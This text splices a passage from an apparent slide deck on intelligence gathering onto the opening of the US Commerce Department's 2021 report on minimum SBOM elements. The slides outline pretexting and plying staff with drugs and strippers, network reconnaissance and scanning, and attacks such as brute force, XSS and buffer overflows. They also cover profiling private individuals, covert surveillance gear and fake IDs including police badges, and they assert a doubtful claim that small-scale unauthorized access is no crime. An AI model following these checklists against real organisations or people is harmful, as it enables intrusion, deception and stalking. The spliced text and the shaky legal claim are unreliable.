communications medium such as telephone, fax, e-mail, postal mail
chat, or bulletin boards from a fraudulent “privileged” position
(manager, auditor, law enforcement, etc.)
– Gain access privileges by querying administrative or help desk
personnel over the same mediums as above from a fraudulent “non-
privileged” position (confused end user, new contractor, etc.)
– Invite inside personnel out to a “social business function”, to probe them
to disclose information outside of the office (over drinks, strippers,
ecstasy, etc.)
Physical Security Analysis
Identify monitored access points, coverage, and routes (both by
physical guard and/or electronic means)
Identify alarm equipment, triggers, response personnel and procedures
Identify access privileges through physical access points (side/back
doors, under/over fences, windows, roof, weak locks, etc.)
Identify weaknesses in the location (line-of-sight visible/audible areas
into the target)
Identify supply delivery personnel/organizations
Identify trash disposal or recycling methods
Network Analysis
Network Survey
– Derive domain name (company name, web presence, etc.)
– Query ARIN for IP blocks and sub-domains
– “dig” domain for DNS servers
– Zone transfer all available DNS domains and sub-domains
– Check public web server source for server links
– Send e-mail and check headers of bounced mails or read receipts
– Search P2P services for organization connections
Network Analysis (cont.)
Network Survey
– War-dial to locate modem-enabled systems and fax
machines
– Test for default authentication, easily guessed
password, and remote maintenance accounts
– Test for exploitable PBX access
– Attempt PIN-hacking of voice-mail boxes
Network Analysis (cont.)
IP/Port Scanning
– Use broadcast ICMP echo to determine existence of systems
– Try DNS connect attempts on all hosts
– Use “firewalking” to verify ports open through any firewall
– Use nbtstat and “net use” (null session) scans for Netbios (Windows)
hosts (port 137)
– Send packets with TCP source port 80 and ACK set on ports 3100-3150,
10001-10050, 33500-33550, 35000-35050 on all hosts
– Send TCP fragments in reverse order with FIN, NULL, and XMAS scans
on ports 21, 22, 23, 25, 80, and 443 on all hosts
Network Analysis (cont.)
IP/Port Scanning (cont.)
– Send TCP SYN packets on ports 21, 22, 23, 25, 80, and 443 on all
hosts
– Send TCP fragments in reverse order to any list of popular ports
that may be subject to a variety of exploits
– Use UDP scans on any list of popular ports that may be subject to
a variety of exploits
– Use banner-grabbing and other fingerprinting techniques to
identify O/S’s & apps
– Infer services/protocols/apps via open ports found
Network Analysis (cont.)
Retrieve useful information from hidden field variables of
HTML forms and from HTML comments
Retrieve useful information from application banners,
usage instructions, help messages, error messages
Retrieve useful information stored in cookies
Retrieve useful information from cache or serialized
objects
Determine wireless access points (wireless sniffer,
aeropeek, etc.)
Information System Attacks
Use publicly known exploits against identified apps via
fingerprinting and port-scanning
Attack via default system backdoors (O/S, DB, apps)
Use dictionary or brute-force password attacks
Gather PDF’s, Word docs, spreadsheets and run password crackers
on encrypted or protected docs
Capture and replay authentication credentials
Attack printers to re-route printouts
Information System Attacks (cont.)
Use directory traversal or direct instruction attacks on web apps
Use long character-strings to find buffer overflows
Use cross-side scripting attacks against web apps
Execute remote commands via server-side includes
Manipulate session cookies, hidden fields, or referrer/host fields to
attack server apps
Exploit trusted system relationships
Can Organizations Stop It?
Identify sensitive information, identify the threats, and provide
adequate safeguards (data labeling, access control, encryption,
shredding, network access controls, IDS, etc.)
Don’t ignore security warnings, best practices, or expert advice
Educate employees about protecting confidential information
Fight for an adequate security budget
Have employees, vendors, and partners sign non-disclosure
agreements
Routinely test all security areas (physical, logical, social, etc.)
Sweep for surveillance equipment
Information Warfare
Information Warfare
“Information Warfare” – state-sponsored information
and electronically delivered actions taken to achieve
information superiority in support of national military
strategy
Meant to affect enemy information and information
systems while protecting our information and
information systems
Includes electronic warfare, surveillance systems,
precision strike, and advanced battlefield
management
Who’s Doing It?
Governments
– China, South Korea, Russia, India, Pakistan, Germany, Israel, Argentina,
Taiwan, Indonesia, France, U.S., Al Qaeda, etc.
Planted employees
Ex-Cold War spies
Former intelligence employees
Professional hackers
PhD’s in Computer Science - with millions in government backing
The U.S. Air Force, Army, and Navy have established Information Warfare
(IW) centers
Military information “war games” are now being conducted to prepare for
such contingencies (both offensively and defensively)
Information Warfare Categories
Offensive - Deny, corrupt, destroy, or exploit an
adversary’s information, and influence the adversary’s
perception
Exploitative - Exploit available information to enhance the
nation’s decision/action cycle, and disrupt the adversary’s
cycle
Defensive - Safeguard the nation and allies from similar
actions, also known as IW hardening.
Cyber Warfare
In the U.S., more than 95% of military communications are conducted
over commercial systems (phone, fax, Internet, NIPRNET, SIPRNET,
satellite)
An increasing amount of technology is being used to fight wars (from
un-manned attack systems to cyber-enabled war-fighters)
Military information systems and applications drive JTF warfare
decisions (personnel/technical assets, logistics, and strategy)
The identifiable U.S. targets and their risks have changed drastically
Menu-Driven Warfare
1.
Select a nation
2.
Identify objectives
3.
Identify technology targets
4.
Identify communications systems
5.
Identify offensive weapons
6.
Attack
> Enter your selection:
Cyber Warfare Techniques
Initiate virus attacks on enemy systems
Intercept telecommunications transmissions
Implant code to dump enemy databases
Attach worms to enemy radar signal to destroy the network
Intercept television/radio signals and modify their content (public
psychological warfare)
Misdirect radar and content
Cyber Warfare Techniques (cont.)
Aggregate pieces of information from many different sources to gain
“intelligence” on enemy military capabilities
Provide disinformation, such as troop strength, location or number of technical
assets
DoS enemy computers and communications networks
Actively penetrate enemy governmental intelligence and information nodes to
steal or manipulate information
Modify maintenance systems information
Modify enemy logistics systems
Techno-Terrorist Warfare
Terrorism (FBI definition) - The unlawful use of force or violence against
persons or property to intimidate or coerce a government, the civilian
population, or any segment thereof, in furtherance of political or social
objectives
International Terrorism (CIA definition) – Terrorist activities conducted with
the support of foreign governments or organizations and/or directed against
foreign nations, institutions, or governments
Terrorism (DoD definition) - Premeditated, politically motivated violence
perpetrated against a non-combatant target by sub-national groups or
clandestine state agents, usually intended to influence an audience
Governments and terrorists are CURRENTLY ACTIVELY PLANNING
ATTACKS on U.S. critical infrastructure components (both in support of
military actions, and to turn the general “quality of life” for U.S. citizens to
shit)
Techno-Terrorist Warfare Techniques
Using a computer, penetrate a control tower computer system and send false
signals to aircraft, causing them to crash in mid-air or fall to the ground
Use fraudulent credit cards to finance their operations
Penetrate a financial computer system and divert millions of dollars to finance
their activities
Use cloned cellular phones and computers over the Internet to communicate,
using encryption to protect their transmissions
Use virus and worm programs to shut down vital government computer
systems
Change hospital records, causing patients to die because of an
overdose of medicine or the wrong medicine, or modifying
computerized test analysis to alter all future results
Techno-Terrorist Warfare Techniques
(cont.)
Destroy critical government computer systems
Penetrate computerized train routing systems, causing passenger trains
to collide
Take over telecommunications links or shut them down
Take over satellite links to broadcast their messages over televisions
and radios
And MOST LIKELY of all, disrupt power, gas, water, transportation,
and telecommunications systems (critical infrastructure components)
Private Investigation
Private Investigation
“Private Investigation” – research to develop knowledge
on a human subject, by obtaining identifiable private
information that can be linked to the individual
Used to locate missing people, spy on
spouses/friends/acquaintances/enemies, locate birth
parents, evaluate prospective employees or business
partners, etc.
Personal Identifiers
full legal name
former names
aliases
mother's maiden name
date of birth
social security number
drivers license number
alien number
FBI number
current address
former addresses
hair color/eye color
height/weight
tattoos
physical abnormalities
fingerprints
photographs/mug shots
DNA
Investigation Methods
Begin by writing down everything you know about your subject (don't
discount any piece of information, no matter how trivial it may appear)
Start the investigation from the person’s address (if you have it), and
work out from there
Check city and cris-cross directories at the library
Research property records
Ask at the Post Office for any change of address on the person
Ask neighbors for information
Research marriage records
Investigation Methods (cont.)
Interview any of the following for detailed info:
Spouse - Former spouses - Mother/Father - Sisters/Brothers -
Aunts/Uncles – Children – Grandparents - In-laws – Friends –
Landlords - Car dealer – Mechanic – Accountant – Attorneys –
Stockbroker – Hairdresser - Insurance agent - Religious
affiliations - Gardener/lawn care – Veterinarian – Fellow
hobbyists - Financial institutions - Real estate brokers - Medical
providers - Child or parental care - Fitness club - Travel agent –
Teachers – Children - Maids
Investigation Methods (cont.)
Ask questions such as:
Do you know subject?
How long have you known the subject?
How well did you know the subject?
What kind of work does subject do?
Where did subject work?
Married?
Spouses name?
Any children?
Did subject hang out with anyone in the neighborhood?
Do you know where subject was born and came from?
Do you know where subject's family lives?
Do you know what kind of car subject drives?
Do you know where subject went to school?
Any children away at school?
***continued….
Investigation Methods (cont.)
Continued questions….
Do you know if subject belonged to any organizations?
Did subject ever talk about serving in the military?
Do you know if subject had any help around the house?
Do you know where subject got married?
Divorced? Where? When?
Is subject religious?
Attends what church?
Any interests or hobbies you know of?
Does subject have special medical problems or needs?
Does subject own other property, boats, motor homes, airplanes?
Any problems with drugs or alcohol?
Problems with marital relationship?
Problems with finances?
Do you know where subject is?
Investigation Methods (cont.)
Utilize public records resources (discussed in the next
several slides)
Establish surveillance
– Tailing
– Monitoring
– Electronic techniques
***Because much of this can get into ILLEGAL areas, it makes sense
NOT TO DISCUSS specific tools and techniques BEFORE discussing
relevant laws (included later in this talk)
Free Public Record Resources
Federal Web Locator
http://www.greenepa.net/~dalex/fedwebloc.html
National Archives and Records Administration
http://ardor.nara.gov/
National Archives & Records
http://www.archives.ca/www/svcs/english/PersonnelRecords.html
National Records Center
http://www.nara.gov/regional/nrmenu.html
US Census Home Page
http://www.census.gov/
Finding Treasures in the U.S. Federal Census
http://www.firstct.com/fv/uscensus.html
National Personnel Records Center
http://www.nara.gov/regional/stlouis.html
Social Security Administration
http://www.ssa.gov/
IRS
http://www.irs.ustreas.gov/
Free Public Record Resources (cont.)
Federal Office of Child Support Enforcement
http://www.acf.dhhs.gov/programs/cse/index.html
National Center for Missing and Exploited Children
http://www.ncmec.org/
INS
http://www.ins.usdoj.gov/
Dept. of State Passport Service
http://travel.state.gov/passport_services.html
Selective Service Commission
http://www.sss.gov/
Federal Courts
http://www.uscourts.gov/
Federal Prison System
http://www.bop.gov/
Family History Center
http://www.genhomepage.com/FHC/fhc.html
Social Security Death Index
http://www.ancestry.com/ssdi/advanced.htm
National Public Info Database Services
AutoTrackXP
– 1-800-279-7710
– www.atxp.com
ChoicePoint
– 1-888-333-3356
– www.choicepointonline.com
Lexis-Nexis
– 1-800-227-9597
– www.lexis-nexis.com
Merlin Information Services
– 1-800-367-6646
– www.merlindata.com (best bet and budget, especially for CA)
Types of Public Info Available
The four (4) services listed on the previous page can pull the following
national, state, and sometimes municipality public records:
Wingate National PeopleFinder – U.S. District Civil & Criminal Court Filings -
Bankruptcies – Tax Liens – Boat Registrations – Real Property Ownership – Motor
Vehicle Records – Professional Licenses – State Civil Case Filings – State Criminal
Case Filings – Voter Registrations – Marriage Records Index – SSN Death Records –
Municipal Civil & Criminal Cases (selected) – Divorce Records – Incarceration Records
– Accident Records –Boating Citations – Concealed Weapons Permits – Convictions –
Handicap Parking Permits - Judgments – Business Credit Reports – Credit Headers –
DEA Registrants – Executive Affiliations – FAA Pilots – FAA Aircraft Ownership by
Name – FCC Licenses – Federal Employer ID Numbers – Physician Reports by Medi-
Net – Significant Shareholders – Address Inspector – UCC Searches – Firearms and
Explosives Licenses – Phone Listings – U.S. Military Personnel – TraceWizard
Residential Locator – TraceWizard Business Locator – Probable Carrier – National
FBNs & Business Filings – Chiropractor Reports – Sexual Offender Registrations –
Workers Compensation Records – etc.
Credit Checks
There are four (4) national credit reporting services
– Equifax
– Experian
– TransUnion
– TRW
Typical costs for information are:
– Annual subscription to one service for ~$70
– One-time credit check from one service for ~$10
– Consolidated one-time report for ~$30
Lots More Online Resources
LOTS of links to free people searches (phone books, e-mail, address,
etc.), category searches (adoptees, missing persons, genealogy, etc.),
as well as to fee-based people search and private investigation
services can be found at:
http://www.pimall.com
And a few specific popular free search links:
http://www.switchboard.com/
http://www.anywho.com/
http://www.dir.org/
http://www.555-1212.com/
http://www.infoseek.com/
http://www.payphones.com/ipp.htm
http://netaddress.usa.net/
http://worldemail.com/wede4.shtml
http://www.yahoo.com/search/people/suppress.html
http://www.metacrawler.com/
Dept. of Justice Databases
Alien Status Verification Index System (INS)
Automated Biometric Identification System (INS fingerprint database)
Automated Intelligence Records System (DEA, INS, Coast Guard)
Central Index System (INS)
Confidential Source System (DEA)
Controlled Substances Act System (DEA)
DEA Aviation Unit Reporting System (DEA)
Deportable Alien Control System (INS)
Domestic Security/Terrorism Investigations Records System (Office of Intelligence)
Drug Testing Program Record System (DEA)
Electronic Surveillance Tracking System ( Criminal Division)
Essential Chemical Reporting System (DEA)
Fingerprint Identification Records System (FBI)
Grants of Confidentiality Files (DEA)
Inappropriate Communications/Threat Information System (U.S. Marshals)
Dept. of Justice Databases (cont.)
Information Support System (Natl. Drug Intelligence Center)
International Intelligence Database (DEA)
Narcotics and Dangerous Drugs Information System (DEA)
National Automated Immigration Lookout System II (INS)
National Crime Information Center (FBI) **
National DNA Index System (FBI)
National Drug Pointer Index (DEA)
National Instant Criminal Background Check System (FBI) **
Security Clearance Forms for Grand Jury Reports (U.S. Attorneys Executive Office)
Sentry (Federal Bureau of Prisons)
Threat Analysis Information System (U.S. Marshals)
Warrant Information System (U.S. Marshals)
Witness Immunity Tracking System (Criminal Division)
Are You Under Surveillance?
Your garbage disappears before the trash collection passes
Suspicious people or vehicles appear in multiple locations
Others know your activities when they shouldn’t
Confidential business information seems to be known to others
Someone tells you that someone else was asking questions about you
You have been the victim of a burglary, but nothing was taken
Electrical wall plates appear to have been moved slightly
You’ve noticed static, popping, scratching, strange sounds, beeps, or volume changes
on your phone lines
Sounds are coming from your phone’s handset when it’s hung up (check by using an
external amplifier)
Your phone rings and nobody is there, or a very faint tone or high-pitched beep is heard
Are You Under Surveillance? (cont.)
Your radio or television has suddenly developed strange interference
Your car radio makes strange sounds
Dime-sized discolorations appear on the wall or ceiling
Someone just gave you any type of electronic device (desk radio, alarm clock, lamp,
small TV, boom box, CD player, etc.)
A small bump has appeared on the vinyl baseboard near the floor
The smoke detector, clock, or lamp in your office/home looks slightly crooked, has a
small hole in the surface, or has a quasi-reflective surface
Certain items have appeared in your office or home, but no one knows where they
came from
Drywall dust or debris is noticed on the floor next to the wall
Are You Under Surveillance? (cont.)
You notice small pieces of ceiling tiles or grit on the floor or on the surface of your
desk
You notice that “phone company” trucks and utilities workers are spending a lot of
time near your home or office doing repair work
Telephone, cable, plumbing, or air conditioning repair people show up to check
something out when no one called them
Service or delivery trucks are often parked nearby with nobody in them
Your door locks suddenly don’t feel right (sticky or failing)
Furniture has been moved slightly
Things seem to have been rummaged through
Tools of the Trade
Truth Phone
Lie Detection
Desktop phone
Conversation Recorder
Wireless Video Sunglasses
Discretely videotape from hidden camera
Real-time Video
Video Pen
Recording live events
Compact size
Tie Camera
Housed in “stylish” Italian ties
Compact
Night Vision Monocular
Cold war technology
High image quality & range
No Batteries
Price: $274.95
Laser Listening Device
No Transmitter
Clear night laser technology
High range
Price: $ 349.95
Portable Voice Changer
Easy to connect to your phone
Up to 8 profiles
Built in amplifiers
Price: $ 99.95
BloodHound
Bug/wire detector
Advanced RF detector
Microphone detector
Price: $ 249.95
Identification Credentials
Fake ID’s (drivers licenses, work badges, etc.)
Diplomas
Law Enforcement Badges
Government Employee ID
Passports
Professional Licenses
Press Credentials
Important Laws
Wiretaps
18 USC 2510 - Electronic Communications Privacy Act of 1986 –
Unauthorized interception of an electronic communication (whether
recorded or not)
Includes phone, pager, cell phone, cordless phone, fax, or data
transmission (got sniffer?)
Penalties include up to 5 years imprisonment, criminal fines, possible
civil liability
Law also prohibits illegally intercepted communications from being
entered as evidence in court
Law ALSO makes it illegal to use an electronic device to listen to or
record oral communications, under same penalties
Recording Phone Calls
Wiretap law applies (previous slide)
Some notable exceptions:
– Calls can be recorded with consent of at least ONE party (*** 12
states require consent by BOTH parties – CA, CT, DE, FL, IL,
MD, MA, MI, NE, NH, PA, WA)
– Businesses may monitor business-related phone calls of
employees, using phone company equipment only
– 48 CFR Sec.64.501 (FCC) requires that at least ONE of the
following occur:
• Both parties consent
• Recording party gives verbal notification before recording
• Must be a regular electronic beep tone during recording
Surveillance
Established by “case law”, not “statute”
Non-threatening observation and/or photography from
publicly accessible areas is acceptable, whereas
trespassing on private property or altering environment
(cutting holes in bushes/fences) to aid viewing is not
Penalties include civil liability for “invasion of privacy”
or “harassment”, if surveillance is obtrusive or
threatening
Freedom of Information Act
5 USC 552 - Freedom of Information Act (FOIA) - Allows public
access to certain federal government records
Doesn’t apply to state, local government, Congress, or White House
courts (however, all states have their own FOIA versions as well)
“Exclusions” are: current law enforcement investigations, C.I.
disclosure, FBI records related to terrorism or espionage
There are also many “exemptions”, which MAY be released unless
prohibited by other laws or if their release would cause no foreseeable
harm
No penalties for violation (at least directly)
Call 1-800-688-9889 to obtain FOIA “officer contact info” for any
federal agency
Privacy Act
5 USC 552a - Privacy Act of 1974 – Allows any citizen to
view and amend (if incorrect) any federally maintained
database information about himself/herself
Also sets forth guidelines for federal agencies to follow
when collecting and using data (i.e., name, SSN)
Penalties for persons obtaining information under false
pretense OR for federal employees improperly releasing
information include misdemeanor conviction and up to
$5K fine
Civil remedies can be obtained against government
agencies that violate the act
Mail Inspection
18 USC 1702, 1708 - Obstruction of Correspondence &
Theft or Receipt of Stolen Mail – It is a crime to take, steal,
or remove any mail without permission
Penalties include fines, imprisonment up to 5 years,
possible civil liability for invasion of privacy
Trash Inspection (Dumpster Diving)
Established by “case law”, not “statute”
US Supreme Court ruled that “any person who places his/her trash at the curb of a
public street for pickup has no reasonable expectation of privacy over the trash”
If trash is located in area marked as “private” or “no trespassing”, “diving” is obviously
illegal
Exceptions:
–
Several municipalities have local ordinances making curbside trash off limits to
anyone but the “trash man”
–
Hawaii, New Jersey, Washington, and Vermont may have state supreme court
rulings which conflict with US Supreme Court ruling
–
At least one exception allows trash to be turned over to police after being picked
up
Penalties include civil and criminal penalties for trespassing and invasion of privacy
where collection is made from private property
Local municipalities may have additional limited penalties
Economic Espionage
18 USC 1831 - Economic Espionage Act of 1996 –
Obtaining a trade secret from a U.S. business without
authorization and providing it to a foreign government,
agent, or company is a federal crime
Penalties include up to 15 years imprisonment, fines up to
$10,000,000, and civil liability
Computer Crime (H4x0ring)
18 USC 1030 - Fraud and Related Activity in Connection with Computers –
Unauthorized access into the computer of a government, business, or person
is a federal crime if the entry includes removal/copy of information,
destruction of files, or the planting of any code or virus
Penalties include up to 10 years imprisonment, fines, and persons harmed by
unauthorized access can sue for compensatory damages and injunctive relief
When unauthorized access to a computer occurs and the only fraud is use of
the computer and the value of such use is less than $5K in any one year, NO
CRIME HAS BEEN COMMITTED
Also crimes under this statute:
–
Trafficking in computer passwords with the intent to defraud is also a crime
under this statute
–
Any threat sent via computer with intent to extort money or anything of value
Several states have implemented more restrictive (simple trespass) laws
Stored Communications
18 USC 2701 - Electronic Privacy Communications Act
of 1986 – Unauthorized access to electronically stored
communications (such as e-mail or telegrams) is a federal
crime
Penalties include up to 2 years imprisonment, civil action
by aggrieved party to recover actual and punitive
damages
Civil actions must be filed within 2 years of the violation
discovery date
Other Laws of Interest
18 USC 701, 712, 912, 913 – Impersonation of a Federal Official
18 USC 1905 – Disclosure of Confidential Information
26 USC 6103 – Confidentiality and Disclosure of Returns and Return
Information
18 USC 3534a - Government Information Security Reform Act of
2000
Public Law 104-191 - Health Insurance Portability and
Accountability Act of 1996
18 USC 2721 – Driver Privacy Protection Act
29 USC 2001 - Employee Polygraph Protection Act of 1988
18 USC 2710 – Wrongful Disclosure of Videotape Rental or Sales
Records
15 USC 1692 – Fair Debt Collection Practices Act
Public Law 106-102 – Financial Services Modernization Act of 1999
15 USC 1681 – Fair Credit Reporting Act
39CFR265.6 – Code of Federal Regulations
20 USC 1232g – Family Educational Rights and Privacy Act
Law Wrap-up (finally)
Full text of most laws referenced in this presentation can
be found at: http://www4.law.cornell.edu/uscode/
Presentation Wrap-up
What have we learned?
Intelligence Gathering
QUESTIONS?? | pdf |
The Minimum Elements
For a Software Bill of Materials (SBOM)
Pursuant to
Executive Order 14028
on Improving the Nation’s Cybersecurity
The United States Department of Commerce
July 12, 2021
Department of Commerce
The Minimum Elements for an SBOM
2
Table of Contents
Table of Contents ............................................................................................................................ 2
I.
Executive Summary ............................................................................................................. 3
II.
Background .......................................................................................................................... 5
The Case for Transparency ......................................................................................................... 5
III.
Scope .................................................................................................................................... 6
IV.
Minimum Elements .............................................................................................................. 8
Data Fields .................................................................................................................................. 8
Automation Support .................................................................................................................. 10
Practices and Processes ............................................................................................................. 11
V.
Beyond Minimum Elements: Enabling Broader SBOM Use Cases .................................. 13
Recommended Data Fields ....................................................................................................... 14
Cloud-based Software and Software-as-a-Service.................................................................... 15
SBOM Integrity and Authenticity ............................................................................................. 16
Vulnerabilities and SBOM ........................................................................................................ 16
Vulnerability and Exploitability in Dependencies .................................................................... 17
Legacy Software and Binary Analysis ...................................................................................... 18
Flexibility vs Uniformity in Implementation ............................................................................ 18
VI.
Future SBOM Work ........................................................................................................... 19
VII.
Conclusion ......................................................................................................................... 21
Appendix A: Methodology ........................................................................................................... 23
Appendix B: Glossary ................................................................................................................... 25
Appendix C: Acronym List ........................................................................................................... 28
Department of Commerce
The Minimum Elements for an SBOM
3
I.
Executive Summary
The Executive Order (14028) on Improving the Nation’s Cybersecurity directs the Department of
Commerce, in coordination with the National Telecommunications and Information
Administration (NTIA), to publish the “minimum elements” for a Software Bill of Materials
(SBOM). An SBOM is a formal record containing the details and supply chain relationships of
various components used in building software. In addition to establishing these minimum
elements, this report defines the scope of how to think about minimum elements, describes
SBOM use cases for greater transparency in the software supply chain, and lays out options for
future evolution.
An SBOM provides those who produce, purchase, and operate software with information that
enhances their understanding of the supply chain, which enables multiple benefits, most notably
the potential to track known and newly emerged vulnerabilities and risks. SBOM will not solve
all software security problems, but will form a foundational data layer on which further security
tools, practices, and assurances can be built. The minimum elements as defined in this document
are the essential pieces that support basic SBOM functionality and will serve as the foundation
for an evolving approach to software transparency. These minimum elements comprise three
broad, interrelated areas.
Minimum Elements
Data Fields
Document baseline information about each component that should
be tracked: Supplier, Component Name, Version of the Component,
Other Unique Identifiers, Dependency Relationship, Author of
SBOM Data, and Timestamp.
Automation Support
Support automation, including via automatic generation and
machine-readability to allow for scaling across the software
ecosystem. Data formats used to generate and consume SBOMs
include SPDX, CycloneDX, and SWID tags.
Practices and
Processes
Define the operations of SBOM requests, generation and use
including: Frequency, Depth, Known Unknowns, Distribution and
Delivery, Access Control, and Accommodation of Mistakes.
This document identifies minimum elements that will enable basic use cases, such as
management of vulnerabilities, software inventory, and licenses. It also looks forward, beginning
a conversation on recommended SBOM features and advances beyond the minimum elements
that may be seen as priorities for further work. This includes key security features such as SBOM
integrity, as well as tracking more detailed supply chain data. As additional SBOM elements
become feasible, tested, and built into tools, they will enable broader use cases. Some of these
aspirational elements are being implemented today or have already shown great potential.
The Administration has identified SBOM as a priority to drive software assurance and supply
chain risk management, and starting today is better than waiting for perfection. Following the
publication of this report, next steps include the development of guidance for providing an
Department of Commerce
The Minimum Elements for an SBOM
4
SBOM to software purchasers, as directed by the Executive Order, as well as continued
collaboration and public-private partnerships to refine and operationalize SBOM work.
Department of Commerce
The Minimum Elements for an SBOM
5
II.
Background
On May 12, 2021, the President issued Executive Order (EO) 14028 on Improving the Nation’s
Cybersecurity.1 The order focuses on modernizing cybersecurity defenses by: protecting Federal
networks, improving information sharing between the U.S. Government and the private sector on
cyber issues, and strengthening the United States’ ability to respond to incidents when they
occur. Among numerous other taskings, it directed the Secretary of Commerce, in coordination
with the Assistant Secretary for Communications and Information and the Administrator of the
National Telecommunications and Information Administration (NTIA), to publish minimum
elements for a software bill of materials (SBOM) within 60 days of the order.
NTIA has been focusing on this issue since 2018, when it convened an open, transparent multi-
stakeholder process on software component transparency. NTIA acted as a convener and a
neutral facilitator, bringing together experts from around the world that represented multiple
sectors and perspectives in the software ecosystem. The resulting resources were drafted by
stakeholders, with frequent opportunities for the community to weigh in as the deliverables took
form. The documentation from that process provided valuable insight and background material
for this activity to propose the minimum elements of an SBOM as directed by EO 14028.
The Case for Transparency
The Administration notes in the EO, “the trust we place in our digital infrastructure should be
proportional to how trustworthy and transparent that infrastructure is.”2 In the modern world,
software systems involve complex, dynamic — and, too often, obscure — supply chains.
Bringing transparency to the components and connections within and across supply chains is
important to discovering and addressing the weak links in those chains. SBOMs are a critical
step toward securing the software supply chain. Without them, a lack of transparency into the
contributors, composition, and functionality of these systems contributes substantially to
cybersecurity risks and increases costs of development, procurement, and maintenance.
Transparency is best achieved using an understandable model supported by industry. An SBOM
model achieves this systematic sharing by tracking component metadata, enabling mapping to
other sources of information, and tying the metadata to software as it moves down the supply
chain and is deployed. To scale this model globally, it is necessary to address the problem of
universally identifying and defining certain aspects of software components to allow the data to
be effectively and efficiently consumed by downstream users.3
1 Exec. Order No. 14,028, 86 Fed. Reg. 26,633 (May 12, 2021).
2 Id. § 1.
3 Framing Working Grp., Nat’l Telecomm. & Info. Admin., Framing Software Component Transparency 4 (2019),
https://www.ntia.gov/files/ntia/publications/framingsbom_20191112.pdf.
Department of Commerce
The Minimum Elements for an SBOM
6
Identification of software components is central to SBOM, providing visibility and awareness.
SBOM data can be used for specific purposes, from simple (e.g. mapping to vulnerability
database) to complex (e.g. ongoing monitoring of an included OSS package for specifically
defined threats by correlating and analyzing multiple data sources). In both cases, external data
may still be needed. The SBOM is the necessary glue to allow the relevant external data to be
mapped to the software products in question.
An SBOM is useful to those who produce, purchase, and operate software. It enables an
understanding of the software ecosystem and provides benefits across multiple use cases and
users.4 Among these are the use of SBOMs for inventory, vulnerability, and license management
by producers and operators, and risk evaluation (license and vulnerability analysis) by
purchasers.
SBOMs offer advantages to producers such as ensuring that components are up to date and
allowing a quick response to new vulnerabilities. SBOMs also offer benefits beyond security
such assupporting greater efficiency and effectiveness through visibility, which in turn enables
prioritization and better management. For example, they assist the producer with knowing and
complying with license obligations.
In the use case of vulnerability management, SBOM data helps producers and operators more
quickly and accurately assess the risk associated with a newly uncovered vulnerability by
providing transparency across dependencies within the software ecosystem. As such, it improves
both vulnerability identification and the speed of response.
Understanding the software supply chain, obtaining comprehensive SBOM data across software
components, and using it to identify and analyze known vulnerabilities and potential mitigations
are crucial in managing risk. This can only be realized with machine-readable SBOMs
supporting automation and tool integration, and the ability for applications to query and process
this data.
III. Scope
This document establishes the “minimum elements” of an SBOM. These minimum elements will
establish the baseline technology and practices for the provisioning of SBOMs and are deemed
necessary to achieve the goals expressed in Executive Order 14028. This document also reviews
4 For a more complete discussion on the use cases of SBOM across the software lifecycle, see Multistakeholder
Process on Software Component Transparency Use Cases & State of Prac. Working Grp., Nat’l Telecomm. & Info.
Admin., Roles and Benefits for SBOM Across the Supply Chain (2019), https://www.ntia.gov/files/ntia/publications/
ntia_sbom_use_cases_roles_benefits-nov2019.pdf.
Department of Commerce
The Minimum Elements for an SBOM
7
how these basics can be expanded upon and offers some guidance on the tension between having
a predictable SBOM format and the need for flexibility, depending on the technology in question
and the needs of consumers.
SBOMs alone will not address the multitude of software supply chain and software assurance
concerns faced by the ecosystem today.5 It is a necessary cliché to acknowledge that there are no
cybersecurity panaceas, and SBOM is no exception. As noted above, SBOMs can facilitate better
and faster responses to known vulnerabilities. The number of known vulnerabilities for a given
piece of software is a function of its install base, the research community, and the supplier’s
disclosure process and product security team. More disclosed vulnerabilities may mean the
software is less risky to use, since this means that researchers are paying attention and the
supplier is managing the disclosure process.
SBOM is a starting point that builds on identified vulnerabilities. The minimum elements that are
deemed feasible in today’s environment do not capture the full range of metadata around
software source, processing, and use that is likely to emerge from modern software processes.
Some of this data will be incorporated into future extensions of SBOM data. At the same time,
SBOMs will not be the sole resource or mechanism for supply chain security or software
assurance. Other data is quite valuable for a range of use cases, but should be considered as
separate and complementary to SBOM. Rather than treat the SBOM as a single model for all
assurance and software supply chain data, a linkable, modular approach is encouraged to
maximize the potential for flexibility and adoption. Linkability enables SBOM data to be easily
mapped to other important supply chain data, while a modular architecture supports extensibility
for more use cases as software supply chain transparency and management data and tools
mature.
Certain key points of the software supply chain discussion are out of scope of this report,
including the question of regulatory and procurement requirements. The minimum elements
should not be interpreted to create new federal requirements. The potential benefits of
centralizing or pooling SBOM data for operations, threat intelligence or research has not been
addressed. Lastly, the “software” in the “Software Bill of Materials” naturally limits
considerations of hardware. While software embedded in hardware and devices is certainly in
scope, the key supply chain and security issue pertaining to hardware is distinct and complex
enough to deserve its own treatment.
Finally, nothing in this document should be seen to limit SBOM use or constrain the innovation
and exploration occurring across the software ecosystem today. These minimum elements are the
5 For an overview of the range of attacks on the software supply chain, see Dr. Trey Herr et al., Breaking Trust:
Shades of Crisis Across an Insecure Software Supply Chain, Atlantic Council (Jul. 26, 2020),
https://www.atlanticcouncil.org/in-depth-research-reports/report/breaking-trust-shades-of-crisis-across-an-insecure-
software-supply-chain/.
Department of Commerce
The Minimum Elements for an SBOM
8
starting point. Broadly speaking, this document represents a key, initial step in the SBOM
process that will advance and mature over time.
IV. Minimum Elements
The minimum constituent parts of an overall SBOM – referred to as elements – are three broad,
inter-related areas. These elements will enable an evolving approach to software transparency,
capturing both the technology and the functional operation. Subsequent efforts will certainly
incorporate more detail or technical advances. As noted above, these are the minimum at this
point; organizations and agencies may ask for more, and the capabilities for transparency in the
software supply chain may improve and evolve over time. (See “Future of SBOM” below)
These three categories of elements are:
• Data Fields
• Automation Support
• Practices and Processes
A piece of software can be represented as a hierarchical tree, made up of components that can, in
turn, have subcomponents, and so on. Components are often “third party,” from another source,
but might also be “first party,” that is, from the same supplier but able to be uniquely identified
as a freestanding, trackable unit of software. Each component should have its own SBOM listing
their components, building the hierarchical tree. The data fields apply to each component, which
are, in turn, encoded with tools and formats for automation support following the defined
practices and processes.
Data Fields
The core of an SBOM is a consistent, uniform structure that captures and presents information
used to understand the components that make up software. Data fields contain baseline
information about each component that should be tracked and maintained. The goal of these
fields is to enable sufficient identification of these components to track them across the
software supply chain and map them to other beneficial sources of data, such as vulnerability
databases or license databases. This baseline component information includes:
Department of Commerce
The Minimum Elements for an SBOM
9
Data Field
Description
Supplier Name
The name of an entity that creates, defines, and identifies
components.
Component Name
Designation assigned to a unit of software defined by the
original supplier.
Version of the Component
Identifier used by the supplier to specify a change in software
from a previously identified version.
